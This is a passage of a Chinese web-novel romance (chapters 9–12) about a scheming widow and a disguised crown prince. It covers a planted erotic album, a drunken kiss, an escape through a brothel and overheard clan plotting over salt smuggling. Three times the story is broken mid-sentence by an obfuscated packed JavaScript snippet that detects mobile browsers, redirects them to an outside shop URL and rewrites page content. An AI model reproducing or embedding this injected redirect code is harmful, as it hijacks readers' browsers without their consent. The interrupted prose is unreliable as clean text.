明明是她言行逾矩,怎地现在反倒像是他理亏,欺负了她一般? 这女子,果然色胆包天,且惯会装模作样,扰乱人心。 回到船上,殷晚枝以“看看新买的话本”为由,极其自然地从景珩手中接过了那包书。 她动作迅速又巧妙,借着转身的遮掩,手指一勾,便将那本画风最为奔放、内容最为惊人的春宫图册,悄无声息地抽了出来。 然后以迅雷不及掩耳之势,塞进了景珩那本《江南水道考》的书页夹层之中。 “先生慢走。” 她抱着剩下的书,眼底却闪着亮光,转身翩然回了主舱。 景珩不疑有他,拿着自己的书回到了客舱。 他将《江南水道考》放在枕边,预备晚间翻阅。 只是,白日书肆中种种,女人靠近时的馨香,低语时的气音,还有那含沙射影的“狐狸精”之论,不受控制地在脑中盘旋,让他心绪有些烦乱,便先搁置了看书的心思。 直至夜深人静,江涛拍岸,沈珏早已在另一张榻上睡得四仰八叉。 景珩在榻上辗转片刻,终究难以成眠,想起那本《江南水道考》,或许枯燥的地理能让人心静。 他起身,就着一盏微弱灯光翻开了书册。 刚翻了几页,指尖便触到内页似乎夹着东西,比寻常书页厚实。 他蹙眉,将书页完全打开—— 一幅不堪入目的画面赤裸裸撞入眼帘! 画中男女肢体交缠,姿态妖娆大胆,细节描绘千毫毕现,冲击力惊人。 轰——! 景珩只觉得全身血液在瞬间齐齐冲向头顶,又狠狠砸回四肢百骸,最后汇聚于一处,激起一阵令他既羞耻又暴怒的剧烈反应。 耳根、脖颈乃至整个冷白的脸庞,瞬间烧红滚烫。 宋、杳! 他几乎从牙缝里挤出这两个字,握着书页的手指,因用力而剧烈颤抖手背青筋暴起。 9. 强吻 景珩从未被人如此羞辱戏弄,一时间竟忘了维持那温文书生的表象,周身气场阴鸷得骇人。 他霍然起身,指节捏得发白,几乎下意识就要冲去主舱,亲手掐断那女人的脖子。 直至走到主舱门前,夜风一吹,他才猛地顿住脚步。 他不是冲动之人,要不是这这女人一而再、再而三地触碰他的底线,加上方才那画册更是直接碾碎了他最后的耐性,他根本不会做出如此举动。 景珩深吸一口气。 眼下船行宁州,明日启程,五日后便将抵达绩溪。 与亲卫汇合就在眼前,到时多得是机会处理这妇人。 不急于一时。 念及此,他紧握的指节略微松了松,强压怒火,准备转身。 恰在此时,舱门“吱呀”一声开了。 青杏探出头,一脸诧异:“萧先生?可是找我家娘子有事?” 外间动静已惊扰了里间。 殷晚枝清凌凌的声音传来,带着点微醺的慵懒:“青杏,谁呀?” 景珩面色阴沉,目光越过青杏,朝内望去。 只见烛光摇曳,女人卸了白日精致的妆面,一张脸素净如出水芙蓉,在朦胧光晕下少了几分秾丽,多了些罕见的柔和。 她斜倚在窗边小榻上,指尖勾着一只白玉酒杯,桌上散落着白日买的糕饼果子,显然正对月独酌。 见他立在门口,她先是一愣,随即弯起眉眼,热情招呼:“呀,萧先生啊。来得正好,要不要喝一杯?今日新得的桃子酒,清甜的很。” 舱内果香混合着淡淡酒气,氤氲出几分暧昧暖意。 见状,刚才压下去的那点火气再度上浮。 既已被发现,景珩索性不再遮掩。 他想着这妇人一贯的做派——看似柔弱,勾引时却又总留有余地,每每被抓现行便装无辜。 今夜铁证如山,他倒要看看她如何自圆其说。 他面色沉冷,步入舱内,反手带上了门,将青杏隔在外间。 “萧先生怎么来了?是账目有何不妥?”殷晚枝仿佛毫无所觉,又取了个杯子,斟满桃红色的酒液递过去,果香四溢。 她当然料到他可能会来,此刻却只装作懵懂,眼波流转间带着恰到好处的醉意与疑惑。 景珩对上那双看似迷蒙的眼眸,心中冷笑更甚。 这种低级的迷惑手段,他在宫中见得多了。 他并未接杯,而是将手中那本《江南水道考》连同夹藏的画册,一并丢在了桌上,发出沉闷声响。 “宋娘子,这是何意?”他声音冷冽如冰,目光锐利如刀,只想看她如何仓皇辩解,大概又是那套“不小心”、“不是故意”的陈词滥调。 殷晚枝满脸不解,放下酒杯,拿起那册子,小心翻开。 只一眼,她脸色瞬间涨红,随即又变得苍白,像是被烫到般猛地将书丢开,又羞又怒:“这、这是何物!先生深夜到访,竟拿这种……这种腌臜东西来污我眼睛!实在是有辱斯文!” 她甚至因激动而微微喘息,眼中蒙上一层水汽,不知是酒意还是怒意。 景珩没料到她会倒打一耙,怔了一瞬,怒火更炽:“这册子从何而来,宋娘子当比谁都清楚。” 话音落下,殷晚枝眼眶瞬间盈满泪水,像是听到了什么惊天污蔑,声音都带了颤:“明明是先生拿来的东西,为何要倒打一耙?我根本就不知此书来历!先生若是真心厌恶我,直言便是,何必用这般下作手段毁我名节!” 她越说越激动,本就因饮酒泛红的脸颊此刻更是涨得通红,胸口起伏,仿佛受了天大的委屈。 景珩看着她情真意切的愤怒与羞耻,眉头紧锁。 一时间,先前的笃定倒是有几分动摇了。 可……总共就只有这么几个人接触过书,不是她还能是谁? 他审视的目光如钉子般落在殷晚枝身上,试图找出破绽。 然而,女人眼底的惊怒、羞赧、委屈交织,毫无作伪痕迹。 他不由得想起书肆老板那暧昧殷勤的笑容,以及最后包书时过分热情的模样……莫非是那老板暗中做了手脚,意图多卖些“杂书”? “先生说是我做的,可有凭据?”殷晚枝眼尾泛红,声音带着酒意的沙哑,却字字清晰,“若无凭据便来问罪,岂是君子所为?” 景珩一时语塞。 他确实拿不出实证,方才的怒火更多是源于连日被她扰乱心绪的积郁。 他从未如此失态。 殷晚枝见他沉默,便知机会来了。 “也是,先生怀疑我也并非胡乱揣度,大概在先生眼里,我就是个不知分寸,还相当轻浮的女子。” 她端起酒杯饮了一口,声音低了下去,带着浓重的自嘲:“只是,这并非我本心……初见先生,便觉有几分像我先夫。” 景珩眉头微蹙。 这些话似乎难以启齿,女人喉间微哽:“他也是读书人,可惜身体不好,常年吃药,半年前过世了,我有时看着江水,都觉得他还站在那儿,看见先生更是觉得亲近,总忍不住想多看两眼,想靠近些……是我昏了头,失了分寸。” “但这画册不是我放的,先生可信我?” 她一边说,一边自斟自饮,眼泪无声滑落,砸在手背上,洇开小小水痕。 那模样,像只被雨淋湿了羽毛的雀鸟,可怜得紧。 景珩闻言陷入沉思,心头那团紧绷的怒意瞬间不上不下,原来所谓亲近面善竟是如此。 呵。 这理由听着简直荒谬,但是又显得十分合理。 这人突兀的善意,过分的关注,甚至那些暧昧的靠近……都源于对亡夫的思念与移情。 逻辑上严丝合缝。 景珩虽仍觉有哪里不对,可面对眼前这张泪痕交错、毫不设防的脸,那点怀疑变得苍白无力,这里不是波谲云诡的朝堂,或许,他真的将人心想得太复杂了,一个失了依靠的孀妇,手段狠辣些自保,似乎……也情有可原。 他语气依旧冷硬,但到底还是缓和几分:“抱歉,宋娘子,是萧某冲动了。” “只是逝者已逝,人要往前看,还是不要过度缅于过去。” 说着就要作揖离开。 殷晚枝演得相当投入,好不容易把人弄进来,哪能让他这么容易离开。 当即拦住景珩一起喝酒赏月。 殷晚枝存着暗戳戳将人灌醉的心思,但是没想到对面没醉,自己倒是醉了个彻底。 她本身酒量算不得好,虽说看着喝得多,其实一杯喝进去的没多少,没想到还是醉了。 但还好,一点点而已,不影响发挥。 她晃着起身添酒,脚下却一软,整个人直直扑进景珩怀里。 温热的躯体猝然贴合,带着桃子酒的甜香和泪水的湿意。 景珩浑身肌肉瞬间绷紧,像一张拉满的弓。 女人小声呜咽着,抱得很紧,脸埋在他胸前,泪水濡湿衣料,烫着皮肤。 他甚至能感觉到她身体细微的颤抖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149156|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “夫君……”她含糊地唤了一声,带着浓重的鼻音和依赖。 景珩呼吸一滞。 “你醉了。”他试图拉开距离。 “我没有……”她摇头,发丝蹭过他下颌,带来细微的痒。 又唤了一声,更清晰些:“夫君。” 这一次,带着委屈的哭腔,直直撞进他耳膜。 景珩僵立原地。 他不是她的夫君。他甚至厌烦她的靠近。 看来这人是真的有点醉了。 景珩心中又升腾不悦。 身为储君,骨子里带着与生俱来的傲气与掌控欲。 他从未被人如此混淆,更没心思去当任何人的替代品。 哪怕他对这女人无意,这种被错认、被当作影子般依赖的感觉,也让他极为不适。 “我不是你夫君。”他声音冷了下来,试图唤醒她的神智。 但女人不信。 手臂环得更紧,仿佛溺水者抓住浮木。 “你就是……”她执拗地摇头,眼泪蹭在他颈侧,“别骗我……” 景珩被她缠得烦了,最后那点耐心耗尽。 心中那种不悦更是攀至顶峰。 他扶住她肩膀,稍稍用力,将两人的距离拉开寸许,骨节分明的手捏住女人下巴抬了起来。 “看清楚,我是你那病秧子夫君吗?” 他声音压得很低,寒意迫人,眸色在摇曳灯火下深不见底。 殷晚枝被迫仰脸,泪眼迷蒙。 光影在她湿润的睫毛上碎开,她怔怔望他,目光涣散,像在努力辨认。 “是吗?”他追问。 她摇头,动作迟缓。 景珩心下稍松,冷哼一声,正欲彻底拉开距离。 他觉得自己也醉了,要不然也不会无聊到和一个死人去争对错。 灯光勾勒他侧脸,深邃眉眼,高挺鼻梁,被酒液染得湿红的唇瓣……真是诱人得紧。 殷晚枝心头那点色胆借着酒意轰然燎原。 她踮脚,仰头,将错就错的吻了上去,触感温热,带着桃子酒的清甜和泪水的微咸。 景珩瞳孔骤缩。 浑身剧震,如遭雷击,大脑瞬间空白。 紧接着,他感到两条柔若无骨的手臂攀上他的脖颈,将他勾得更低,唇上的触感在加深,她甚至试探般地、生涩又大胆地吮了一下。 轰——! 理智的弦彻底崩断。 景珩猛地将她推开,力道之大带着惊怒。 可殷晚枝双臂缠得紧,这一推非但没分开,反带着两人重心失衡,齐齐向后跌倒在软榻上。 闷响声中,他压在她身上,两人衣衫在挣扎蹭动间凌乱不堪,露出脖颈处大片雪白肌肤,女人的唇近在咫尺,泛着水光,微微红肿。 景珩撑在她上方,气息粗重,眼底翻涌着骇人的风暴,还有一种被彻底点燃的汹涌燥热。 气息交缠,滚烫灼人。 他死死盯着身下的人,指节捏得咔咔作响,几乎要扼断那截纤细的脖颈。 然后—— 她头一歪,呼吸变得绵长安稳,竟……就这么睡了过去。 景珩僵住。 满身杀意与燥热,瞬间撞上一堵软墙,无处着落。 他维持着压在她上方的姿势,胸膛剧烈起伏,看着这张近在咫尺、毫无防备的睡颜,睫毛上还挂着泪珠。 半晌,他喉结狠狠滚动,从牙缝里挤出一声极低、极冷的嗤笑。 荒谬。 10. 花楼 翌日清晨,一夜好梦的沈珏伸着懒腰出舱,迎面就撞见他家太子表哥立在船头。 晨光熹微,江雾未散,景珩眼下两团明显的乌青,衬得那张本就冷白的脸愈发阴沉。 将沈珏吓了一跳。 “表、表哥,你昨夜没睡好?”沈珏揉了揉眼睛,以为自己看错了。 景珩没答话,只淡淡瞥他一眼,声音听不出情绪:“收拾一下,五日后在绩溪下船。” 沈珏一愣:“不是说要到徽州,然后转陆路……” 话没说完,就被景珩一记冷眼截断了。 “亲卫有消息了。” 景珩言简意赅,指尖却微不可察在袖中捻了捻。 沈珏摸摸鼻子,心情有点微妙。 虽说在这船上待久了确实憋闷,但骤然说要走,竟生出一丝不舍来。 可看着表哥难看的脸色,他识趣地没再追问,只利落地应了声:“好。” 就在这时,另一边传来张护卫的声音:“萧小兄弟,早好啊,今日还练不练?” “来了来了!”沈珏扬声应道,顺手抄起昨日那身旧短打就往身上套。 这身衣裳洗得发白,布料粗硬,肩背和袖口处甚至有几处不甚明显的破口。 他动作间,衣料绷紧,清晰地勾勒出肩臂流畅的肌肉线条,从侧面甚至能看见少年人紧实的腰腹轮廓。 景珩原本望着江面,余光瞥见,眉头瞬间拧紧。 昨夜某些混乱温软的触感不合时宜地翻涌上来。 “穿成这样?”他声音陡冷。 沈珏正活动手腕,闻言茫然:“这衣服旧,练武方便,新衣服弄脏了可惜,杳杳姐也说……” “杳杳姐?”景珩打断,这三个字从他齿间碾过,淬着冰,“你叫得倒顺口。” 沈珏被他这反应弄得有些懵,心里嘀咕:表哥今日火气怎么格外大?连称呼都要管? 他挠挠头,不敢再辩,赶紧道:“那我换一身?” 说完,一溜烟钻进舱里。 景珩站在原地,晨风拂面,却吹不散他心头的烦躁。 昨夜那荒唐混乱的画面,女人温软的身体,带着酒意的唇,还有那声模糊的“夫君”……不受控制地在脑中翻腾。 再加上方才沈珏那一声自然而亲昵的“杳杳姐”,更是让他胸口那股无名火蹭蹭往上冒。 握着令牌的手紧了紧。 他看着令牌上的九叶兰花,目光微沉,甩袖下了船。 沈珏换了身齐整的衣裳出来,早就不见自家表哥身影,二丈和尚摸不着头脑。 转头老老实实跟着张护卫去晨练了。 只是心里还惦记着刚才表哥的话。 若是五日后下船,该给杳杳姐买点临别礼。 摸遍全身,只凑出几块碎银并几个铜板,沈小将军头一回为钱发愁。 他盯着那点寒酸银子发了回呆,一咬牙,拔出随身短刃,刀鞘上嵌着颗成色不错的墨玉。 心一横,用刀尖小心翼翼地把那玉撬了下来。 玉落掌心,凉飕飕的。 当了它应该能换件像样的礼物吧,他小心翼翼用布包好和碎银揣在一起,转身溜下了船。 - 这是船停靠在宁州的第二日,外间,船工正在卸货装货。 殷晚枝听说景珩一早离船,心里那点做贼心虚便冒了头——万一他真去找书肆老板对质,那岂不是露馅了。 想起昨夜那个吻,她耳根微热,脚下步子却更快了些。 也下了船。她没带青杏和护卫,独自下了船,只想在附近转转,看看能不能撞见他。 她自然不知道,景珩下船根本不是去书肆,而是要去城中一处隐秘联络点留暗号。 只是行至半途,便察觉被人盯上,甚至还挨了一记冷箭。 对方行事老辣,若非他警惕性极高,那一箭足以要命。 他捂住腰侧火辣辣的伤口,不动声色拐进一条窄巷,迅速从怀中取出备用的黑色帷帽戴上。 刚整理好,巷口光影一暗,一道熟悉的身影出现在那里,正左右张望。 景珩眉头一皱。 他想装作没看见直接离开,可窄巷另一头也传来了杂乱的脚步声,几个眼神不善的汉子正堵过来。 不知这些人是靖王派来的,还是本地见财起意的地痞,但无论哪一种,落到他们手里都不会有好下场。 殷晚枝在书肆没找到人,正打算回船,远远瞧见一个熟悉的背影拐进了巷子。 她刚想跟上去,几道不怀好意的目光就黏在了她身上。 她蹙眉看去,几个五大三粗的汉子腰间鼓鼓囊囊,隐隐闪着寒光。 心头一凛,她转身想溜。 手腕却猛地被一只带着薄茧的手猛地拽住,力道大得骨头生疼,直接将她扯进了巷子。 殷晚枝:“!” “别出声。”景珩的声音压得极低,带着喘息,从黑色帷帽下传来。 殷晚枝挣扎的动作一顿——真是他! 两人挨得极近,她闻到他身上清冽的气息里,混杂了一丝淡淡的铁锈味。 血? 她心下一惊,借着昏暗光线看去——他深色衣袍腰侧,颜色比周围深了一大片,正缓慢洇开。 受伤了! “你……”她刚开口,就被他更用力地攥紧。 “走。”他言简意赅,拉着她就往巷子深处跑。 身后脚步声急促逼近。 殷晚枝虽不明状况,也被那阵仗吓得心惊肉跳——那些人腰间别着的,可是真家伙! 这片巷子错综复杂,景珩不熟,只凭直觉和记忆奔逃,身后追兵却如鱼得水,越追越近。 殷晚枝咬牙,反手扣住他手腕,触手一片黏腻湿冷。 她低声道:“跟我来!” 她对这片还算熟,但几年没来,许多路记不清了。此刻只能赌一把。 她拉着他七拐八绕,专挑最曲折难行的小路,仗着身形灵活和对地形的模糊记忆,竟真的暂时甩开了追兵。 最终,两人一头扎进了一座雕梁画栋、脂粉香腻的楼阁后门。 丝竹靡靡,娇笑调戏声扑面而来。 景珩脚步猛地顿住,黑色帷帽下的脸看不清表情。 殷晚枝却没给他犹豫的时间,拽着他熟门熟路地穿过堆放杂物的后院,推开一扇虚掩的角门,闪身挤进一条通往二楼的狭窄楼梯。 “这是花楼。”景珩声音发紧,带着不赞同。 “命都快没了,还管什么清高。”殷晚枝头也不回,脚步飞快。 楼梯太窄,两人几乎是胸背相贴地往上挤。 她能清晰感觉到身后男人紧绷的身体,和腰间伤口因动作牵扯而不断加重的湿意。 推开二楼走廊尽头一间不起眼的厢房,殷晚枝将他一把推进去,反手落闩。 房间不大,陈设简单却整洁,窗边摆着盆兰花,窗户正对着后巷和河道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149157|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,视野开阔。 景珩背靠门板,微微喘息,抬手似乎想摘帷帽,却又顿住。 殷晚枝顾不上许多,直接上前就去解他外衫系带:“伤哪儿了?我看看。” 这可是她千挑万选的金疙瘩,要是真伤重不治,那才是功亏一篑。 她心下着急,一时间也忘了伪装柔弱,上手就扒。 景珩猛地抓住她手腕,力道不减:“不必。” “不必?”殷晚枝气笑了,隔着两层轻纱瞪他,“血流成这样,你想死在这儿,然后连累我被当成凶手抓起来?” 她甩开他的手,动作麻利地扯开他外衫。靛蓝布衫下,白色中衣腰侧已被暗红的血浸透一大片。 景珩身体僵硬,任由她动作,帷帽下的目光沉沉落在她急切却稳定的手指上。 殷晚枝从怀里摸出个小瓷瓶——跑船的人,身上多少备着点伤药。 她咬开瓶塞,将药粉小心撒在伤口上。 伤口不长,但颇深,边缘整齐,像是被锋利的薄刃划过。 “忍着点。”她低声道,又从自己中衣下摆撕下一条干净布料,动作熟练地为他包扎。 指尖不可避免地擦过他腰侧紧实的肌肉,触感温热,蓄满力量。 景珩闷哼一声,身体几不可察地颤了一下。 两人靠得极近。 她低着头专注处理伤口,发顶几乎碰到他下巴,熟悉的暖香混合着伤药的苦涩,丝丝缕缕萦绕鼻端。 他能清晰看见她帷帽下露出的光洁额头,和抿紧的红唇。 昨夜就是这张唇…… 他喉结剧烈滚动了一下,猛地别开脸。 殷晚枝打好最后一个结,松了口气,这才抬眼看他。 隔着两层纱,看不清彼此神情,却能感受到对方剧烈的心跳和灼热的呼吸。 “追你的人是谁?”她问。 景珩沉默片刻,才道:“不知。或许是劫财。” 殷晚枝心下狐疑。 刚才那些人眼神凶悍,步伐协调,可不像寻常劫匪。 但转念看见男人惨白如纸却依旧清冷俊美的脸,又觉得或许是自己想多了——一个穷书生,能惹上什么天大的麻烦?多半是运气不好。 “这里安全吗?”景珩问,目光扫过房间。 “暂时安全。”殷晚枝走到窗边,掀起一线缝隙向外观察,“这是‘醉春楼’,荣家的产业,还没人敢撒野。后门临河,万一有事,跳窗就是水道。” 毕竟,在江淮这一片,谁也不会想不开来四大家族的地盘上闹事。 景珩看着她娴熟的动作和冷静的分析,帷帽下的眼神越发深邃。 一个寻常商妇对这种地方会如此熟稔吗? “你常来?”他声音听不出情绪。 殷晚枝回身,隔着白纱,似乎能感觉到她挑眉的动作:“怎么,萧先生瞧不起这地方?三教九流,消息最是灵通,有时候,这里比官府衙门还有用。” 她走到桌边,倒了杯冷茶递给他:“喝口水,缓缓。” 景珩没接,依旧靠在门边,帷帽轻纱微动:“为何帮我?” 殷晚枝把杯子放在桌上,自己也倒了杯,慢条斯理地喝了一口,才道:“你是我船上的人,出了事,我麻烦,更何况……” 她顿了顿,笑道:“昨夜才‘冒犯’了先生,我今日是特地来道歉的。” 景珩身体一僵。 狭小的房间内,空气似乎瞬间粘稠起来。 11. 熟人 景珩盯着那双狡黠灵动的眸子,第一次没因她的逗弄而恼怒,只淡声反问:“宋娘子想怎么道歉呢?” 殷晚枝没想到这人真顺着杆子往上爬,稀奇地眨了眨眼:“萧先生想我怎么道,我就怎么道。” 狭窄空间内,这话实在暧昧。 景珩正欲开口,外间廊道突然传来杂乱脚步声和粗嘎吆喝:“清场!三楼暂时封了,闲杂人等速速离开!” 殷晚枝心头一紧,压低声音:“等着,我去看看。” 她挪到门边,外头动静不小,似不止一拨人在搜查。 这醉春楼虽是藏身好去处,但毕竟是荣家主家地盘,宁州荣家,江南四大家族之一。 她与宋昱之成婚时虽低调,可难保荣家没人见过她。 被认出来就麻烦了。 殷晚枝当机立断,转身示意景珩:“此地不宜久留,我们……” 话音未落,门外脚步声骤然逼近。 她急忙缩回,从门缝瞥见一道熟悉身影——锦衣玉带,眉眼倨傲,正是荣家三爷荣显。 真是怕什么来什么。 殷晚枝朝景珩摇头,用口型道:“出不去了。” 景珩帷帽下的眉头紧蹙。 两人只能退回房间最里侧,屏息凝神,毕竟现在从窗户走也来不及,容易暴露。 脚步声在门外停顿片刻,似乎有人低声禀报什么,接着又渐渐远去。 殷晚枝刚松半口气,隔壁包间忽然传来门扇开合的响动,紧接着是刻意压低的交谈声。 她心下好奇,荣显这次是要和谁谈合作?竟然这般谨慎。 毕竟,江南四大家族,向来斗得你死我活,江宁宋家,湖州王家,还有宁州荣家,和金陵裴家,都不是好相与的,哪怕姻亲也是互相防备,生怕一个不小心就被背后捅刀子。她下意识竖起耳朵,身后人也微微侧身。 起初只是模糊寒暄,很快内容变得具体。 “……这次的盐,走得不太顺。”荣三爷叹气,“漕司那边卡得紧,说是上面来了人,要严查。” “上面?”另一个年轻声音嗤笑,“哪次不是雷声大雨点小?打点打点也就过去了。” 这声音……殷晚枝总觉得耳熟。 “这次怕是不一样。”荣三爷声音更沉,“我听说,是东宫那位要立威,派下来的都是亲信,连靖王殿下在前头都吃了挂落。” 东宫? 景珩指尖捻了捻,几乎瞬间对隔壁身份有了猜测。 殷晚枝心中警铃大作。 “东宫”二字意味着什么,她虽不涉朝政却也清楚。上面来人并非秘密,只是没想到风声这么紧。 “裴贤侄,依你之见呢?” 裴? 殷晚枝瞳孔骤缩。 这带着慵懒笑意又透凉薄的腔调……不会这么巧吧? 她瞬间想起几年前宁州码头,那个被她骗了五百两银子的冤大头——金陵裴家小公子裴昭。 那笔钱她后来拿去打点关系,才顺利离开宁州攀上宋家。 算她的“起步资金”。 隔壁再次开口时,殷晚枝心死了。 还真是他!裴昭! 冤家路窄。 她下意识往后缩了缩,莫名心虚。 虽然隔着墙、戴着帷帽,还是忍不住屏住呼吸。 景珩察觉到她的异样,帷帽轻纱微动。 隔壁,裴昭声音慢条斯理:“依我看,得找个够分量的靶子,既要能让东宫亲信‘立威’,又得让其他几家心服口服……” 荣三爷沉吟:“湖州王家最近嚣张,过路商船没少被盘剥。推王家出去如何?” “王家?”裴昭轻笑,带几分讥诮,“分量够了,可王家老太爷还在朝中挂虚职,动起来麻烦。况且……王家和荣家有姻亲吧?荣三叔这是要‘大义灭亲’?” 荣三爷干笑两声。 裴昭话锋一转:“我倒觉得,江宁宋家更合适。” 殷晚枝攥紧手指。 “宋家?”荣三爷迟疑,“宋昱之虽是个病秧子,可宋家底蕴还在……而且,我听说现在是那宋夫人在打理产业,手段不俗。” “底蕴?”裴昭语气漫不经心,“宋家内部虎视眈眈,早就不是铁板一块。” 他顿了顿,带点恶意:“至于他那夫人,呵……两人算不得正经夫妻。不管宋家如何,她到底不是宋家人。办法多得是,到时候给宋家族老点好处,直接让两人和离……” 殷晚枝听得牙痒。 这死裴昭!小白眼狼!当年不就骗了他点钱吗?她还救了他一命呢,真是小心眼,搞宋家还不忘捎上她。 她气得磨后槽牙,却不能发作。 景珩听着隔壁的对话,心中已大致勾勒出脉络。 漕运、盐案、四大家族……这是冲着他来的局。 而隔壁那位“裴公子”对宋家的敌意,似乎格外浓烈,尤其是对宋夫人。 他想起身边这女人也姓宋,虽说是旁支,但主家若倒,覆巢之下焉有完卵?难怪她脸色不好。 荣三爷似乎被裴昭说动了:“贤侄所言不无道理……” 话未说完,楼下突然传来震天响的喧哗。 碗碟碎裂声、女子尖叫声、男人粗野骂声混作一团,像炸了锅。 “怎么回事?”荣三爷不悦。 有人匆匆来报:“三爷,楼下有醉客闹事,打起来了!” “废物!这点事都处理不好!”荣三爷骂了一句,脚步声朝外去,“裴贤侄稍坐,我去看看。” 隔壁门开了又关,只剩一人。 殷晚枝与景珩对视一眼——机会来了。 她轻手轻脚拉开门缝,走廊空了大半,只有两个护卫守在楼梯口。 她回头朝景珩使了个眼色,两人悄无声息溜出房间,贴着墙根往楼梯另一侧挪。 刚走到转角,楼下突然传来荣三爷的怒喝:“把这闹事的给我扔出去!” 紧接着是更大规模的混乱,桌椅翻倒,人仰马翻。 趁这当口,殷晚枝拽着景珩就要往下冲,下了二楼,还有护卫。 “等等。”景珩忽然拉住她,声音压得极低,“伤口裂了。” 殷晚枝回头,见他腰侧布料颜色又深了一分。她蹙眉,迅速扫视四周,楼梯下堆着些杂物,有几件乐伎换下的衣裳。 她灵机一动,抓起一件桃红色绣花外衫,不由分说往景珩身上一披,又扯了条鹅黄披帛胡乱绕在他颈间。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149158|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 景珩:“……” “别说话,装醉。”殷晚枝飞快交代,自己也抓了件水绿衫子罩在外面,顺手将帷帽白纱撩起,露出下半张脸,又往自己和景珩身上洒了点酒——刚才顺手从房里顺的酒壶派上用场。 她搀住景珩,半个身子倚在他怀里,脚步踉跄往下走,嘴里还含糊哼着小调。 两个护卫瞥了他们一眼——醉醺醺的乐伎和恩客,常见得很,又见楼下乱成一团,便没多管。 眼看就要溜出大门。 “站住。” 一个懒洋洋的声音从二楼栏杆处传来。 殷晚枝脊背一僵。 裴昭不知何时出来了,正倚着栏杆,目光落在她背影上,带着探究。 “转过来。”他慢悠悠道。 殷晚枝心跳如擂鼓,却将脸往景珩颈窝埋得更深,娇声嘟囔:“爷……咱们快回家嘛……” 景珩配合地揽紧她的腰,脚步不停。 “我让你们站住。”裴昭声音冷了几分。 殷晚枝心一横,猛地转身,将脸往景珩胸口一贴,只露出小半张侧脸,带着哭腔:“这位爷行行好……奴家夫君喝多了,要吐……” 她说话间,手指在景珩腰侧伤口处狠狠一按。 景珩闷哼一声,身体晃了晃,真像要吐的样子。 裴昭皱了皱眉,目光在她侧脸轮廓上停留片刻——确实有几分像,但妆容浓艳,举止轻浮,又不太像他记忆中那个人。 正犹豫间,楼下又传来巨响,似是有人砸了柜台。 “公子!”侍卫来禀报,“楼上发现了个可疑之人。” 裴昭啧了一声,最后瞥了那对“鸳鸯”一眼,挥挥手:“滚吧。” 殷晚枝如蒙大赦,搀着景珩跌跌撞撞冲出门。 一到外头巷子,她立刻扯下身上外衫,又帮景珩把桃红衫子扒了扔进角落垃圾桶。 “快走。”她低声道,扶着他迅速拐进另一条巷子。 两人刚消失,裴昭便从楼里出来,对身后护卫道:“去,跟上刚才那两人。” 护卫应声而去。 半炷香后,护卫回报:“公子,跟丢了,那两人七拐八绕,进了码头区,人太多,实在找不到。” 裴昭站在巷口,望着码头方向,指尖无意识摩挲腰间玉佩。 真像啊。 那背影……太像了。 他沉默片刻,忽然笑了:“算了,一个无关紧要的人罢了。” 而此时,殷晚枝已扶着景珩回到船上。 一进客舱,她便反手闩上门,长长舒了口气。 “吓死我了……”她拍着胸口,一转头,却见景珩正静静看着她。 帷帽已摘下,他脸色因失血而苍白,眸光却深得吓人。 “宋娘子,”他缓缓开口,“方才那位裴公子,似乎认得你?” 殷晚枝心头一跳,面上却挤出个笑:“先生说什么呢?我一个深宅妇人,怎会认得那种贵人……” 景珩没说话,只看着她。 就在殷晚枝以为没糊弄上的时候,男人突然低低“嗯”了声。 殷晚枝轻咳:“不过刚才那些话听过就忘了,要是真说出去,那是要掉脑袋的。” 12. 热毒 殷晚枝觉得像‘萧行止’这种聪明人应该知道什么该说什么不该说。 因而只是简单嘱咐。 毕竟她自己也还在扮演柔弱孀妇。 只是这些事她得和宋昱之提前通个气,于是,又马不停蹄去传了信。 虽说她也相信宋昱之的能力,但是他常年拖着个药罐子,她不在,宋家所有事全压在他一个人身上,总归有疏漏的地方。 信送出去,殷晚枝心情才稍微转好些。 回舱时路过甲板,目光扫过码头边新停的几艘大船,脚步一顿。 船身漆着醒目的金陵「裴」家徽记,帆旗猎猎作响。 如果她没记错,她之前离开时还没有。 心头一跳。 应该……没那么巧吧?江上船来船往,说不定只是支系商船。 正自我安慰,旁边两个船工唠嗑声飘进耳朵: “那是裴家主家的船队吧?真气派……” 殷晚枝:“?” 行,还真是巧。 裴家是四大家族里,和其他几家关系最疏远、消息也最少的。她这些年知道得不多——江宁和金陵隔得远,消息传过去早过时了,况且她也没刻意留意。 她不动声色地竖起耳朵。 “听说了没?裴家换当家的了。” “还能是谁,大公子呗,嫡长子嘛。” “错喽!”说话那人压低声,“是裴昭,那个前几年失踪,后来才找回来的小公子!” “啥?他?不是说他大哥二哥都挺能耐?” 